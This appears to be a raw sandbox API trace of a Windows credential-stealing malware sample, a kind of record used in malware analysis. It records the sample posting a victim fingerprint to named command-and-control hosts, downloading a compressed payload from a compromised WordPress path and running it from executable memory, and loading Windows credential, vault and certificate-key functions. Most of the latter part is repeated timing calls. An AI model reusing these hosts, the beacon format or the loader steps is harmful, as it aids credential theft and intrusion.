lpProcName="GetNativeSystemInfo") returned 0x75de10b5 [0025.396] GetNativeSystemInfo (in: lpSystemInfo=0xef910 | out: lpSystemInfo=0xef910*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0025.397] CryptAcquireContextA (in: phProv=0xef908, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0xef908*=0x7357b0) returned 1 [0025.397] CryptCreateHash (in: hProv=0x7357b0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0xef910 | out: phHash=0xef910) returned 1 [0025.397] CryptHashData (hHash=0x72dc10, pbData=0x405010, dwDataLen=0x8, dwFlags=0x0) returned 1 [0025.398] CryptDeriveKey (in: hProv=0x7357b0, Algid=0x6801, hBaseData=0x72dc10, dwFlags=0x280011, phKey=0xef90c | out: phKey=0xef90c*=0x72dc50) returned 1 [0025.398] CryptDecrypt (in: hKey=0x72dc50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x743540, pdwDataLen=0xef920 | out: pbData=0x743540, pdwDataLen=0xef920) returned 1 [0025.399] CryptDestroyHash (hHash=0x72dc10) returned 1 [0025.399] CryptDestroyKey (hKey=0x72dc50) returned 1 [0025.399] CryptReleaseContext (hProv=0x7357b0, dwFlags=0x0) returned 1 [0025.399] wsprintfA (in: param_1=0xef948, param_2="GUID=%I64u&BUILD=%s&INFO=%s&IP=%s&TYPE=1&WIN=%d.%d(x64)" | out: param_1="GUID=18221541888462561536&BUILD=2108&INFO=AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS&IP=87.142.159.132&TYPE=1&WIN=6.1(x64)") returned 120 [0025.399] lstrlenA (lpString="Content-Type: application/x-www-form-urlencoded") returned 47 [0025.399] lstrlenA (lpString="GUID=18221541888462561536&BUILD=2108&INFO=AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS&IP=87.142.159.132&TYPE=1&WIN=6.1(x64)") returned 120 [0025.399] InternetCrackUrlA (in: lpszUrl="http://butsulacoft.com/ls5/forum.php", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xef8d0 | out: lpUrlComponents=0xef8d0) returned 1 [0025.399] InternetConnectA (hInternet=0xcc0004, lpszServerName="butsulacoft.com", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0025.399] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/ls5/forum.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x407048*="*/*", dwFlags=0x84080100, dwContext=0x0) returned 0xcc000c [0025.399] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0xef948, dwOptionalLength=0x78) returned 0 [0046.429] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xef91c, lpdwBufferLength=0xef90c, lpdwIndex=0x0 | out: lpBuffer=0xef91c*, lpdwBufferLength=0xef90c*=0x4, lpdwIndex=0x0) returned 1 [0046.429] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0046.429] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0046.429] lstrlenA (lpString="Content-Type: application/x-www-form-urlencoded") returned 47 [0046.429] lstrlenA (lpString="GUID=18221541888462561536&BUILD=2108&INFO=AUFDDCNTXWT @ AUFDDCNTXWT\\aDU0VK IWA5kLS&IP=87.142.159.132&TYPE=1&WIN=6.1(x64)") returned 120 [0046.429] InternetCrackUrlA (in: lpszUrl="http://supritofuld.ru/ls5/forum.php", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xef8d0 | out: lpUrlComponents=0xef8d0) returned 1 [0046.429] InternetConnectA (hInternet=0xcc0004, lpszServerName="supritofuld.ru", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0046.429] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/ls5/forum.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x407048*="*/*", dwFlags=0x84080100, dwContext=0x0) returned 0xcc000c [0046.429] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0xef948*, dwOptionalLength=0x78 | out: lpOptional=0xef948*) returned 1 [0046.641] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xef91c, lpdwBufferLength=0xef90c, lpdwIndex=0x0 | out: lpBuffer=0xef91c*, lpdwBufferLength=0xef90c*=0x4, lpdwIndex=0x0) returned 1 [0046.641] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2180020, dwNumberOfBytesToRead=0x1ffffff, lpdwNumberOfBytesRead=0xefe90 | out: lpBuffer=0x2180020*, lpdwNumberOfBytesRead=0xefe90*=0x418) returned 1 [0046.641] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0046.641] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0046.642] InternetCrackUrlA (in: lpszUrl="http://tekstheks.nl/wp-admin/includes/1", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0xefbc0 | out: lpUrlComponents=0xefbc0) returned 1 [0046.642] InternetConnectA (hInternet=0xcc0004, lpszServerName="tekstheks.nl", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0046.642] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/wp-admin/includes/1", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x407050*="*/*", dwFlags=0x84080100, dwContext=0x1) returned 0xcc000c [0046.642] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0046.754] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xefc08, lpdwBufferLength=0xefbfc, lpdwIndex=0x0 | out: lpBuffer=0xefc08*, lpdwBufferLength=0xefbfc*=0x4, lpdwIndex=0x0) returned 1 [0046.754] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x8b20020, dwNumberOfBytesToRead=0x500000, lpdwNumberOfBytesRead=0xefc0c | out: lpBuffer=0x8b20020*, lpdwNumberOfBytesRead=0xefc0c*=0xb508) returned 1 [0046.815] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x8b2b528, dwNumberOfBytesToRead=0x4f4af8, lpdwNumberOfBytesRead=0xefc0c | out: lpBuffer=0x8b2b528*, lpdwNumberOfBytesRead=0xefc0c*=0x0) returned 1 [0046.815] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0046.815] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0046.816] RtlDecompressBuffer (in: CompressionFormat=0x2, UncompressedBuffer=0x9030020, UncompressedBufferSize=0x500000, CompressedBuffer=0x8b20028, CompressedBufferSize=0xb500, FinalUncompressedSize=0xefc10 | out: UncompressedBuffer=0x9030020, FinalUncompressedSize=0xefc10) returned 0x0 [0046.826] VirtualAlloc (lpAddress=0x10000000, dwSize=0x14000, flAllocationType=0x3000, flProtect=0x40) returned 0x10000000 [0046.828] GetModuleHandleA (lpModuleName="wsock32.dll") returned 0x0 [0046.828] LoadLibraryA (lpLibFileName="wsock32.dll") returned 0x74a10000 [0046.847] GetProcAddress (hModule=0x74a10000, lpProcName="inet_addr") returned 0x76dd311b [0046.847] GetProcAddress (hModule=0x74a10000, lpProcName="gethostbyname") returned 0x76de7673 [0046.847] GetProcAddress (hModule=0x74a10000, lpProcName="socket") returned 0x76dd3eb8 [0046.848] GetProcAddress (hModule=0x74a10000, lpProcName="connect") returned 0x76dd6bdd [0046.848] GetProcAddress (hModule=0x74a10000, lpProcName="closesocket") returned 0x76dd3918 [0046.848] GetProcAddress (hModule=0x74a10000, lpProcName="send") returned 0x76dd6f01 [0046.848] GetProcAddress (hModule=0x74a10000, lpProcName="select") returned 0x76dd6989 [0046.848] GetProcAddress (hModule=0x74a10000, lpProcName="recv") returned 0x74a117a8 [0046.848] GetProcAddress (hModule=0x74a10000, lpProcName="setsockopt") returned 0x74a118e0 [0046.848] GetProcAddress (hModule=0x74a10000, lpProcName="WSAStartup") returned 0x76dd3ab2 [0046.849] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75dc0000 [0046.849] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateFileA") returned 0x75dd53c6 [0046.849] GetProcAddress (hModule=0x75dc0000, lpProcName="ReadFile") returned 0x75dd3ed3 [0046.849] GetProcAddress (hModule=0x75dc0000, lpProcName="CloseHandle") returned 0x75dd1410 [0046.849] GetProcAddress (hModule=0x75dc0000, lpProcName="WriteFile") returned 0x75dd1282 [0046.849] GetProcAddress (hModule=0x75dc0000, lpProcName="lstrlenA") returned 0x75dd5a4b [0046.849] GetProcAddress (hModule=0x75dc0000, lpProcName="GlobalLock") returned 0x75ded0a7 [0046.850] GetProcAddress (hModule=0x75dc0000, lpProcName="GlobalUnlock") returned 0x75decfdf [0046.850] GetProcAddress (hModule=0x75dc0000, lpProcName="LocalFree") returned 0x75dd2d3c [0046.850] GetProcAddress (hModule=0x75dc0000, lpProcName="LocalAlloc") returned 0x75dd168c [0046.850] GetProcAddress (hModule=0x75dc0000, lpProcName="GetTickCount") returned 0x75dd110c [0046.850] GetProcAddress (hModule=0x75dc0000, lpProcName="lstrcpyA") returned 0x75df2a9d [0046.850] GetProcAddress (hModule=0x75dc0000, lpProcName="lstrcatA") returned 0x75df2b7a [0046.851] GetProcAddress (hModule=0x75dc0000, lpProcName="GetFileAttributesA") returned 0x75dd5414 [0046.851] GetProcAddress (hModule=0x75dc0000, lpProcName="ExpandEnvironmentStringsA") returned 0x75deeb39 [0046.851] GetProcAddress (hModule=0x75dc0000, lpProcName="GetFileSize") returned 0x75dd196e [0046.851] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateFileMappingA") returned 0x75dd5506 [0046.851] GetProcAddress (hModule=0x75dc0000, lpProcName="MapViewOfFile") returned 0x75dd18f1 [0046.851] GetProcAddress (hModule=0x75dc0000, lpProcName="UnmapViewOfFile") returned 0x75dd1826 [0046.851] GetProcAddress (hModule=0x75dc0000, lpProcName="LoadLibraryA") returned 0x75dd49d7 [0046.852] GetProcAddress (hModule=0x75dc0000, lpProcName="GetProcAddress") returned 0x75dd1222 [0046.852] GetProcAddress (hModule=0x75dc0000, lpProcName="GetTempPathA") returned 0x75df276c [0046.852] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateDirectoryA") returned 0x75dfd526 [0046.852] GetProcAddress (hModule=0x75dc0000, lpProcName="DeleteFileA") returned 0x75dd5444 [0046.852] GetProcAddress (hModule=0x75dc0000, lpProcName="GetCurrentProcess") returned 0x75dd1809 [0046.852] GetProcAddress (hModule=0x75dc0000, lpProcName="WideCharToMultiByte") returned 0x75dd170d [0046.853] GetProcAddress (hModule=0x75dc0000, lpProcName="GetLastError") returned 0x75dd11c0 [0046.853] GetProcAddress (hModule=0x75dc0000, lpProcName="lstrcmpA") returned 0x75deeceb [0046.853] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateToolhelp32Snapshot") returned 0x75df735f [0046.853] GetProcAddress (hModule=0x75dc0000, lpProcName="Process32First") returned 0x75df8ae7 [0046.853] GetProcAddress (hModule=0x75dc0000, lpProcName="OpenProcess") returned 0x75dd1986 [0046.853] GetProcAddress (hModule=0x75dc0000, lpProcName="Process32Next") returned 0x75df88a4 [0046.853] GetProcAddress (hModule=0x75dc0000, lpProcName="GetModuleHandleA") returned 0x75dd1245 [0046.854] GetProcAddress (hModule=0x75dc0000, lpProcName="FindFirstFileA") returned 0x75dde2ce [0046.854] GetProcAddress (hModule=0x75dc0000, lpProcName="lstrcmpiA") returned 0x75dd3e8e [0046.854] GetProcAddress (hModule=0x75dc0000, lpProcName="FindNextFileA") returned 0x75dfd53e [0046.854] GetProcAddress (hModule=0x75dc0000, lpProcName="FindClose") returned 0x75dd4442 [0046.854] GetProcAddress (hModule=0x75dc0000, lpProcName="GetVersionExA") returned 0x75dd3519 [0046.854] GetProcAddress (hModule=0x75dc0000, lpProcName="GetLocaleInfoA") returned 0x75ded5e5 [0046.855] GetProcAddress (hModule=0x75dc0000, lpProcName="GetSystemInfo") returned 0x75dd49ca [0046.855] GetProcAddress (hModule=0x75dc0000, lpProcName="GetWindowsDirectoryA") returned 0x75df2b0a [0046.855] GetProcAddress (hModule=0x75dc0000, lpProcName="GetPrivateProfileStringA") returned 0x75de184c [0046.855] GetProcAddress (hModule=0x75dc0000, lpProcName="SetCurrentDirectoryA") returned 0x75de1834 [0046.855] GetProcAddress (hModule=0x75dc0000, lpProcName="GetPrivateProfileSectionNamesA") returned 0x75e4a1c9 [0046.855] GetProcAddress (hModule=0x75dc0000, lpProcName="GetPrivateProfileIntA") returned 0x75dfcdd7 [0046.856] GetProcAddress (hModule=0x75dc0000, lpProcName="GetCurrentDirectoryA") returned 0x75dfd4f6 [0046.856] GetProcAddress (hModule=0x75dc0000, lpProcName="lstrlenW") returned 0x75dd1700 [0046.856] GetProcAddress (hModule=0x75dc0000, lpProcName="TerminateProcess") returned 0x75ded802 [0046.856] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateMutexA") returned 0x75dd4c6b [0046.856] GetProcAddress (hModule=0x75dc0000, lpProcName="CreateProcessA") returned 0x75dd1072 [0046.856] GetProcAddress (hModule=0x75dc0000, lpProcName="Sleep") returned 0x75dd10ff [0046.857] GetProcAddress (hModule=0x75dc0000, lpProcName="LCMapStringA") returned 0x75dfbc39 [0046.857] GetProcAddress (hModule=0x75dc0000, lpProcName="ExitProcess") returned 0x75dd7a10 [0046.857] GetProcAddress (hModule=0x75dc0000, lpProcName="SetUnhandledExceptionFilter") returned 0x75dd87c9 [0046.857] GetModuleHandleA (lpModuleName="urlmon.dll") returned 0x76ff0000 [0046.857] GetProcAddress (hModule=0x76ff0000, lpProcName="ObtainUserAgentString") returned 0x77021d76 [0046.857] GetModuleHandleA (lpModuleName="userenv.dll") returned 0x0 [0046.857] LoadLibraryA (lpLibFileName="userenv.dll") returned 0x749f0000 [0046.871] GetProcAddress (hModule=0x749f0000, lpProcName="LoadUserProfileA") returned 0x749fe071 [0046.871] GetProcAddress (hModule=0x749f0000, lpProcName="UnloadUserProfile") returned 0x749f3e6f [0046.871] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x752e0000 [0046.872] GetProcAddress (hModule=0x752e0000, lpProcName="CreateStreamOnHGlobal") returned 0x7530363b [0046.872] GetProcAddress (hModule=0x752e0000, lpProcName="GetHGlobalFromStream") returned 0x753041d5 [0046.872] GetProcAddress (hModule=0x752e0000, lpProcName="CoCreateGuid") returned 0x753215d5 [0046.872] GetProcAddress (hModule=0x752e0000, lpProcName="CoTaskMemFree") returned 0x75336f41 [0046.872] GetProcAddress (hModule=0x752e0000, lpProcName="CoCreateInstance") returned 0x75329d0b [0046.872] GetProcAddress (hModule=0x752e0000, lpProcName="OleInitialize") returned 0x752fefd7 [0046.873] GetModuleHandleA (lpModuleName="user32.dll") returned 0x757e0000 [0046.873] GetProcAddress (hModule=0x757e0000, lpProcName="wsprintfA") returned 0x7580ae5f [0046.873] GetProcAddress (hModule=0x757e0000, lpProcName="FindWindowExA") returned 0x758000d9 [0046.873] GetProcAddress (hModule=0x757e0000, lpProcName="SendMessageA") returned 0x7580612e [0046.873] GetProcAddress (hModule=0x757e0000, lpProcName="GetClassNameA") returned 0x758079df [0046.873] GetProcAddress (hModule=0x757e0000, lpProcName="SendMessageW") returned 0x757f9679 [0046.874] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x77280000 [0046.874] GetProcAddress (hModule=0x77280000, lpProcName="RegOpenKeyExA") returned 0x77294907 [0046.874] GetProcAddress (hModule=0x77280000, lpProcName="RegQueryValueExA") returned 0x772948ef [0046.874] GetProcAddress (hModule=0x77280000, lpProcName="RegCloseKey") returned 0x7729469d [0046.874] GetProcAddress (hModule=0x77280000, lpProcName="RegOpenKeyA") returned 0x7728cc15 [0046.874] GetProcAddress (hModule=0x77280000, lpProcName="RegEnumKeyExA") returned 0x77291481 [0046.874] GetProcAddress (hModule=0x77280000, lpProcName="RegCreateKeyA") returned 0x7728cd01 [0046.875] GetProcAddress (hModule=0x77280000, lpProcName="RegSetValueExA") returned 0x772914b3 [0046.875] GetProcAddress (hModule=0x77280000, lpProcName="IsTextUnicode") returned 0x7729448e [0046.875] GetProcAddress (hModule=0x77280000, lpProcName="RegOpenCurrentUser") returned 0x772915ad [0046.875] GetProcAddress (hModule=0x77280000, lpProcName="GetUserNameA") returned 0x772aa4b4 [0046.875] GetModuleHandleA (lpModuleName="wininet.dll") returned 0x76e10000 [0046.875] GetProcAddress (hModule=0x76e10000, lpProcName="InternetCrackUrlA") returned 0x76e1d075 [0046.876] GetProcAddress (hModule=0x76e10000, lpProcName="InternetCreateUrlA") returned 0x76e2dbcd [0046.876] GetModuleHandleA (lpModuleName="shlwapi.dll") returned 0x76f10000 [0046.876] GetProcAddress (hModule=0x76f10000, lpProcName="StrStrIA") returned 0x76f1d250 [0046.876] GetProcAddress (hModule=0x76f10000, lpProcName="StrRChrIA") returned 0x76f4e13f [0046.876] GetProcAddress (hModule=0x76f10000, lpProcName="StrToIntA") returned 0x76f3cd65 [0046.876] GetProcAddress (hModule=0x76f10000, lpProcName="StrCmpNIA") returned 0x76f1d11c [0046.877] GetProcAddress (hModule=0x76f10000, lpProcName="StrStrIW") returned 0x76f246e9 [0046.877] GetProcAddress (hModule=0x76f10000, lpProcName="StrStrA") returned 0x76f3c45b [0046.877] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1000b7ee) returned 0x0 [0046.877] OleInitialize (pvReserved=0x0) returned 0x0 [0046.892] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x752e0000 [0046.892] GetProcAddress (hModule=0x752e0000, lpProcName="StgOpenStorage") returned 0x752f480e [0046.892] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x75990000 [0046.893] GetProcAddress (hModule=0x75990000, lpProcName="CryptUnprotectData") returned 0x759c5a7f [0046.893] GetProcAddress (hModule=0x75990000, lpProcName="CertOpenSystemStoreA") returned 0x759e5ff0 [0046.893] GetProcAddress (hModule=0x75990000, lpProcName="CertEnumCertificatesInStore") returned 0x7599e33a [0046.893] GetProcAddress (hModule=0x75990000, lpProcName="CertCloseStore") returned 0x7599dd10 [0046.893] GetProcAddress (hModule=0x75990000, lpProcName="CryptAcquireCertificatePrivateKey") returned 0x759e5a3b [0046.893] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77280000 [0046.893] GetProcAddress (hModule=0x77280000, lpProcName="AllocateAndInitializeSid") returned 0x772940e6 [0046.894] GetProcAddress (hModule=0x77280000, lpProcName="CheckTokenMembership") returned 0x7728df04 [0046.894] GetProcAddress (hModule=0x77280000, lpProcName="FreeSid") returned 0x7729412e [0046.894] GetProcAddress (hModule=0x77280000, lpProcName="CredEnumerateA") returned 0x772c7381 [0046.894] GetProcAddress (hModule=0x77280000, lpProcName="CredFree") returned 0x7728b2ec [0046.894] GetProcAddress (hModule=0x77280000, lpProcName="CryptGetUserKey") returned 0x772c3228 [0046.894] GetProcAddress (hModule=0x77280000, lpProcName="CryptExportKey") returned 0x772891ea [0046.895] GetProcAddress (hModule=0x77280000, lpProcName="CryptDestroyKey") returned 0x7728c51a [0046.895] GetProcAddress (hModule=0x77280000, lpProcName="CryptReleaseContext") returned 0x7728e124 [0046.895] GetProcAddress (hModule=0x77280000, lpProcName="RevertToSelf") returned 0x77291562 [0046.895] GetProcAddress (hModule=0x77280000, lpProcName="OpenProcessToken") returned 0x77294304 [0046.895] GetProcAddress (hModule=0x77280000, lpProcName="ImpersonateLoggedOnUser") returned 0x7728c57a [0046.895] GetProcAddress (hModule=0x77280000, lpProcName="GetTokenInformation") returned 0x7729431c [0046.895] GetProcAddress (hModule=0x77280000, lpProcName="ConvertSidToStringSidA") returned 0x772b192a [0046.896] GetProcAddress (hModule=0x77280000, lpProcName="LogonUserA") returned 0x772c2654 [0046.896] GetProcAddress (hModule=0x77280000, lpProcName="LookupPrivilegeValueA") returned 0x7729404a [0046.896] GetProcAddress (hModule=0x77280000, lpProcName="AdjustTokenPrivileges") returned 0x7729418e [0046.896] GetProcAddress (hModule=0x77280000, lpProcName="CreateProcessAsUserA") returned 0x772c2538 [0046.896] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75fe0000 [0046.896] GetProcAddress (hModule=0x75fe0000, lpProcName="SHGetFolderPathA") returned 0x760f7804 [0046.896] LoadLibraryA (lpLibFileName="netapi32.dll") returned 0x749d0000 [0046.993] GetProcAddress (hModule=0x749d0000, lpProcName="NetApiBufferFree") returned 0x749c13d2 [0046.993] GetProcAddress (hModule=0x749d0000, lpProcName="NetUserEnum") returned 0x749859cf [0047.017] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75dc0000 [0047.017] GetProcAddress (hModule=0x75dc0000, lpProcName="WTSGetActiveConsoleSessionId") returned 0x75e53f49 [0047.017] GetProcAddress (hModule=0x75dc0000, lpProcName="ProcessIdToSessionId") returned 0x75dd1275 [0047.017] LoadLibraryA (lpLibFileName="vaultcli.dll") returned 0x74970000 [0047.040] GetProcAddress (hModule=0x74970000, lpProcName="VaultOpenVault") returned 0x749726a9 [0047.040] GetProcAddress (hModule=0x74970000, lpProcName="VaultEnumerateItems") returned 0x74973099 [0047.040] GetProcAddress (hModule=0x74970000, lpProcName="VaultGetItem") returned 0x74973242 [0047.040] GetProcAddress (hModule=0x74970000, lpProcName="VaultCloseVault") returned 0x74972718 [0047.040] GetProcAddress (hModule=0x74970000, lpProcName="VaultFree") returned 0x74974321 [0047.040] LoadLibraryA (lpLibFileName="msi.dll") returned 0x745f0000 [0047.057] GetProcAddress (hModule=0x745f0000, lpProcName="MsiGetComponentPathA") returned 0x746aecd5 [0047.057] LoadLibraryA (lpLibFileName="pstorec.dll") returned 0x74960000 [0047.092] GetProcAddress (hModule=0x74960000, lpProcName="PStoreCreateInstance") returned 0x7496526c [0047.092] LoadLibraryA (lpLibFileName="userenv.dll") returned 0x749f0000 [0047.092] GetProcAddress (hModule=0x749f0000, lpProcName="CreateEnvironmentBlock") returned 0x749f1a7a [0047.092] GetProcAddress (hModule=0x749f0000, lpProcName="DestroyEnvironmentBlock") returned 0x749f1a4e [0047.092] GetTickCount () returned 0x13810 [0047.092] GetTickCount () returned 0x13810 [0047.092] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.093] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.094] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] GetTickCount () returned 0x13810 [0047.095] 